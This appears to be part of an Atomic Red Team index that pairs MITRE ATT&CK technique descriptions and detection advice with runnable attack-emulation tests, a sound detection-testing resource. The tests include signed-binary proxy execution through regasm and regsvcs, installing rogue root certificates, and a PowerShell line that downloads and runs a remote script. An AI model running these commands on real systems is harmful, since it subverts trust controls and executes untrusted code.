      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916
      created: '2020-02-05T14:28:16.719Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/003
        external_id: T1027.003
      - source_name: Wikipedia Duqu
        description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.
        url: https://en.wikipedia.org/wiki/Duqu
      - source_name: McAfee Malicious Doc Targets Pyeongchang Olympics
        description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious
          Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.
        url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1550.004:
    technique:
      modified: '2023-09-19T21:26:24.725Z'
      name: Web Session Cookie
      description: |-
        Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

        Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

        There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Johann Rehberger
      - Jack Burns, HubSpot
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for anomalous access of websites and cloud-based
        applications by the same user in different locations or by different systems
        that do not match expected configurations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
      - IaaS
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Web Credential: Web Credential Usage'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
      created: '2020-01-30T17:48:49.395Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/004
        external_id: T1550.004
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
      - source_name: Pass The Cookie
        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078.002:
    technique:
      modified: '2023-08-14T14:55:07.432Z'
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: "Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).\n\nOn Linux, check logs and other artifacts created
        by use of domain authentication services, such as the System Security Services
        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
        accounts to detect accounts that may have been created by an adversary for
        persistence."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      created: '2020-03-13T20:21:54.758Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/002
        external_id: T1078.002
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      - source_name: Microsoft AD Accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
      - source_name: Ubuntu SSSD Docs
        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
        url: https://ubuntu.com/server/docs/service-sssd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1218.009:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Casey Smith
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8
      type: attack-pattern
      created: '2020-01-23T19:42:16.439Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1218.009
        url: https://attack.mitre.org/techniques/T1218/009
      - source_name: MSDN Regsvcs
        description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool).
          Retrieved July 1, 2016.
        url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx
      - source_name: MSDN Regasm
        description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved
          July 1, 2016.
        url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
      - source_name: LOLBAS Regsvcs
        url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
        description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.
      - source_name: LOLBAS Regasm
        url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/
        description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: Regsvcs/Regasm'
      description: |-
        Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

        Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and
        Regasm.exe with prior history of known good arguments and executed binaries
        to determine anomalous and potentially adversarial activity. Command arguments
        used before and after Regsvcs.exe or Regasm.exe invocation may also be useful
        in determining the origin and purpose of the binary being executed.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1218.009
    atomic_tests:
    - name: Regasm Uninstall Method Call Test
      auto_generated_guid: 71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112
      description: 'Executes the Uninstall Method, No Admin Rights Required. Upon
        execution, "I shouldn''t really execute either." will be displayed.

        '
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location of the payload
          type: path
          default: "%tmp%\\T1218.009.dll"
        source_file:
          description: Location of the CSharp source_file
          type: path
          default: PathToAtomicsFolder\T1218.009\src\T1218.009.cs
      dependency_executor_name: powershell
      dependencies:
      - description: 'The CSharp source file must exist on disk at specified location
          (#{source_file})

          '
        prereq_command: 'if (Test-Path "#{source_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}"
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library "#{source_file}"
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}
        cleanup_command: 'del #{output_file} >nul 2>&1

          '
        name: command_prompt
    - name: Regsvcs Uninstall Method Call Test
      auto_generated_guid: fd3c1c6a-02d2-4b72-82d9-71c527abb126
      description: |
        Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, "I shouldn't really execute" will be displayed
        along with other information about the assembly being installed.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Location of the payload
          type: path
          default: "$Env:TEMP\\T1218.009.dll"
        source_file:
          description: Location of the CSharp source_file
          type: path
          default: PathToAtomicsFolder\T1218.009\src\T1218.009.cs
      dependency_executor_name: powershell
      dependencies:
      - description: 'The CSharp source file must exist on disk at specified location
          (#{source_file})

          '
        prereq_command: 'if (Test-Path "#{source_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}"
      executor:
        command: |
          $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
          $Content = [System.Convert]::FromBase64String($key)
          Set-Content $env:Temp\key.snk -Value $Content -Encoding Byte
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library /keyfile:$env:Temp\key.snk #{source_file}
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{output_file}
        cleanup_command: |
          Remove-Item #{output_file} -ErrorAction Ignore | Out-Null
          $parentpath = Split-Path -Path "#{output_file}"
          Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null
          Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
  T1553.004:
    technique:
      modified: '2024-01-04T20:01:27.662Z'
      name: 'Subvert Trust Controls: Install Root Certificate'
      description: |-
        Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

        Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

        Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)

        Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)

        In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Matt Graeber, @mattifestation, SpecterOps
      - Red Canary
      - Travis Smith, Tripwire
      - Itzik Kotler, SafeBreach
      x_mitre_deprecated: false
      x_mitre_detection: |-
        A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)

        Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)

        * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
        * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
        * 3B1EFD3A66EA28B16697394703A72CA340A05BD5
        * 7F88CD7223F3C813818C994614A89C99FA3B5247
        * 8F43288AD272F3103B6FB1428485EA3014C0BCFE
        * A43489159A520F0D93D032CCAF37E7FE20A8B419
        * BE36A4562FB2EE05DBB3D32323ADF445084ED656
        * CDD4EEAE6000AC7F40C3802C171E30148030C072
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Windows Registry: Windows Registry Key Creation'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      type: attack-pattern
      id: attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839
      created: '2020-02-21T21:05:32.844Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1553/004
        external_id: T1553.004
      - source_name: Operation Emmental
        description: 'botconf eu. (2014, December 31). David Sancho - Finding Holes
          in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.'
        url: https://www.youtube.com/watch?v=gchKFumYHWc
      - source_name: SpectorOps Code Signing Dec 2017
        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
          Attacks and Defenses. Retrieved April 3, 2018.
        url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
      - source_name: Kaspersky Superfish
        description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on
          Lenovo Laptops. Retrieved February 20, 2017.'
        url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
      - source_name: objective-see ay mami 2018
        description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March
          19, 2018.
        url: https://objective-see.com/blog/blog_0x26.html
      - source_name: Microsoft Sigcheck May 2017
        description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April
          3, 2018.
        url: https://docs.microsoft.com/sysinternals/downloads/sigcheck
      - source_name: Tripwire AppUNBlocker
        description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker.
          Retrieved December 19, 2017.'
        url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
      - source_name: Wikipedia Root Certificate
        description: Wikipedia. (2016, December 6). Root certificate. Retrieved February
          20, 2017.
        url: https://en.wikipedia.org/wiki/Root_certificate
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1553.004
    atomic_tests:
    - name: Install root CA on CentOS/RHEL
      auto_generated_guid: 9c096ec4-fd42-419d-a762-d64cc950627e
      description: 'Creates a root CA with openssl

        '
      supported_platforms:
      - linux
      input_arguments:
        cert_filename:
          description: Path of the CA certificate we create
          type: path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: path
          default: rootCA.key
      executor:
        command: |
          openssl genrsa -out #{key_filename} 4096
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
          cp #{cert_filename} /etc/pki/ca-trust/source/anchors/
          update-ca-trust
        cleanup_command: |
          rm /etc/pki/ca-trust/source/anchors/#{cert_filename}
          update-ca-trust
        name: sh
        elevation_required: true
    - name: Install root CA on FreeBSD
      auto_generated_guid: f4568003-1438-44ab-a234-b3252ea7e7a3
      description: 'Creates a root CA with openssl

        '
      supported_platforms:
      - linux
      input_arguments:
        cert_filename:
          description: Path of the CA certificate we create
          type: path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: path
          default: rootCA.key
      executor:
        command: |
          openssl genrsa -out #{key_filename} 4096
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
          cp #{cert_filename} /usr/local/share/certs/
          certctl rehash
        cleanup_command: |
          rm /usr/local/share/certs/#{cert_filename}
          certctl rehash
        name: sh
        elevation_required: true
    - name: Install root CA on Debian/Ubuntu
      auto_generated_guid: 53bcf8a0-1549-4b85-b919-010c56d724ff
      description: 'Creates a root CA with openssl

        '
      supported_platforms:
      - linux
      input_arguments:
        cert_filename:
          description: CA file name
          type: path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: path
          default: rootCA.key
      dependency_executor_name: sh
      dependencies:
      - description: 'Verify the certificate exists. It generates if not on disk.

          '
        prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
      executor:
        command: |
          mv #{cert_filename} /usr/local/share/ca-certificates
          echo sudo update-ca-certificates
        name: sh
        elevation_required: true
    - name: Install root CA on macOS
      auto_generated_guid: cc4a0b8c-426f-40ff-9426-4e10e5bf4c49
      description: 'Creates a root CA with openssl

        '
      supported_platforms:
      - macos
      input_arguments:
        cert_filename:
          description: CA file name
          type: path
          default: rootCA.crt
        key_filename:
          description: Key we create that is used to create the CA certificate
          type: path
          default: rootCA.key
      dependency_executor_name: sh
      dependencies:
      - description: 'Verify the certificate exists. It generates if not on disk.

          '
        prereq_command: 'if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
          openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
      executor:
        command: 'sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain"
          "#{cert_filename}"

          '
        name: sh
        elevation_required: true
    - name: Install root CA on Windows
      auto_generated_guid: 76f49d86-5eb1-461a-a032-a480f86652f1
      description: 'Creates a root CA with Powershell

        '
      supported_platforms:
      - windows
      input_arguments:
        pfx_path:
          description: Path of the certificate
          type: path
          default: rootCA.cer
      dependency_executor_name: powershell
      dependencies:
      - description: 'Verify the certificate exists. It generates if not on disk.

          '
        prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
          Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item
      executor:
        command: |
          $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
          Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"
        cleanup_command: |
          try {
             $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
             Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
             Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          }
          catch { }
        name: powershell
        elevation_required: true
    - name: Install root CA on Windows with certutil
      auto_generated_guid: 5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f
      description: 'Creates a root CA with certutil

        '
      supported_platforms:
      - windows
      input_arguments:
        pfx_path:
          description: Path of the certificate
          type: path
          default: "$env:Temp\\rootCA2.cer"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Certificate must exist at specified location (#{pfx_path})

          '
        prereq_command: 'if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
          Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item
      executor:
        command: 'certutil -addstore my #{pfx_path}

          '
        cleanup_command: |
          try {
          $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          } catch { }
        name: powershell
        elevation_required: true
    - name: Add Root Certificate to CurrentUser Certificate Store
      auto_generated_guid: ca20a3f1-42b5-4e21-ad3f-1049199ec2e0
      description: |
        The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
        Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
        Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
      supported_platforms:
      - windows
      executor:
        command: "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1'
          -UseBasicParsing) \n"
        cleanup_command: "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint
          -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n"
        name: powershell
        elevation_required: true
  T1027.004:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Praetorian
      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617
      type: attack-pattern
      created: '2020-03-16T15:30:57.711Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1027.004
        url: https://attack.mitre.org/techniques/T1027/004
      - description: 'ClearSky Cyber Security. (2018, November). MuddyWater Operations
          in Lebanon and Oman: Using an Israeli compromised domain for a two-stage
          campaign. Retrieved November 29, 2018.'
        url: https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
        source_name: ClearSky MuddyWater Nov 2018
      - source_name: TrendMicro WindowsAppMac
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
        description: Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads
          Info Stealer and Adware. Retrieved April 25, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Obfuscated Files or Information: Compile After Delivery'
      description: |-
        Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

        Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'Monitor the execution file paths and command-line arguments
        for common compilers, such as csc.exe and GCC/MinGW, and correlate with other
        suspicious behavior to reduce false positives from normal user and administrator
        behavior. The compilation of payloads may also generate file creation and/or
        file write events. Look for non-native binary formats and cross-platform compiler
        and execution frameworks like Mono and determine if they have a legitimate
        purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these
        should only be used in specific and limited cases, like for software development.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
